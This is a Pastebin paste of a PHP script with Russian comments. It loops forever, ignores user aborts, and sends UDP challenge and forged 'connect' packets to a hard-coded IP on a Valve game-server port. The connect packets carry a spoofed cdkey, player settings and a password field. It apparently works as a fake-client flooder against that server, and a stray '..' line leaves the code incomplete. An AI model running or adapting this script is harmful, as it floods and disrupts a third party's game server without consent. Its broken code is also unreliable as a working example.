Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(0);
- ignore_user_abort(true);
- while(true){
- $fp = fsockopen( 'udp://46.174.55.206', 27015, $errno, $errstr, 0 );
- // Ждем ответа от сервера, читаем данные только при полном ответе.
- stream_set_timeout( $fp, 1, 0 );
- stream_set_blocking( $fp, true );
- //fwrite($fp, "\xFF\xFF\xFF\xFFTSource Engine Query\x00");
- //echo fread( $fp, 4096 );
- //echo fread( $fp, 4096 );
- fwrite($fp, "\xFF\xFF\xFF\xFF\x55\xff\xff\xff\xff\x00");//A2S_SERVERQUERY_GETCHALLENGE
- $rs=fread( $fp, 4096 );
- echo strToHex($rs);
- echo ':';
- echo urlencode($rs);
- echo '<br>';
- /*fwrite($fp,"\xFF\xFF\xFF\xFF\x69\x00");//ping
- $rs=fread( $fp, 4096 );
- echo strToHex($rs);
- echo ':';
- echo urlencode($rs);
- echo '<br>';*/
- fwrite($fp,"\xFF\xFF\xFF\xFFgetchallenge steam\x0A");//запрос на подлючение к серверу
- $rs=fread( $fp, 4096 );
- echo strToHex($rs);
- echo ':';
- echo urlencode($rs);
- echo '<br>';
- $tmp=explode(' ',$rs);
- $ID= $tmp[1];
- $protocol=48;
- //http://www.securitylab.ru/analytics/216301.php)
- fwrite($fp,"\xff\xff\xff\xff".
- "connect $protocol $ID ".
- '"\prot\3\unique\-1\raw\steam\cdkey\9658122c9c3cdb81044bce0eb203bd47" "\_cl_autowepswitch\1\bottomcolor\6XYWIaEB3oa\cl_dlmax\80\cl_lc\1\cl_lw\1\cl_updaterate\71\model\gordon\name\star\topcolor\30\_rspass\PASWORD1\_ah\0\_gm\eef2\translit\1\_vgui_menus\0\rate\15000"'
- ."\0A");
- ..
- }
- function strToHex($string){
- $hex='';
- for ($i=0; $i < strlen($string); $i++){
- $hex .= dechex(ord($string[$i]));
- }
- return $hex;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement